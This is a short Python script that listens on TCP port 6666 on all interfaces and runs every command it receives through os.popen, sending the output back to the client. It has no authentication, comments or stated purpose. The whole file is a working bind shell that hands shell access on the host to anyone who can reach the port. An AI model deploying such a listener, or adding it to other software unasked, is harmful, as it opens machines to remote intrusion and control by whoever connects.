﻿#!/usr/bin/python
# -*- coding: UTF-8 -*-

import socket
import os

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('',6666))
s.listen(1)
while True:
	sock,addr = s.accept()
	print('Connected by ', addr)
	while True:
		cmd = sock.recv(1024)
		if cmd.decode() == 'exit':
			sock.close()
			break;
		print('Client >> ', cmd)
		result = os.popen(cmd.decode()).read().encode()
		sock.send(result)
		
	
	
	
	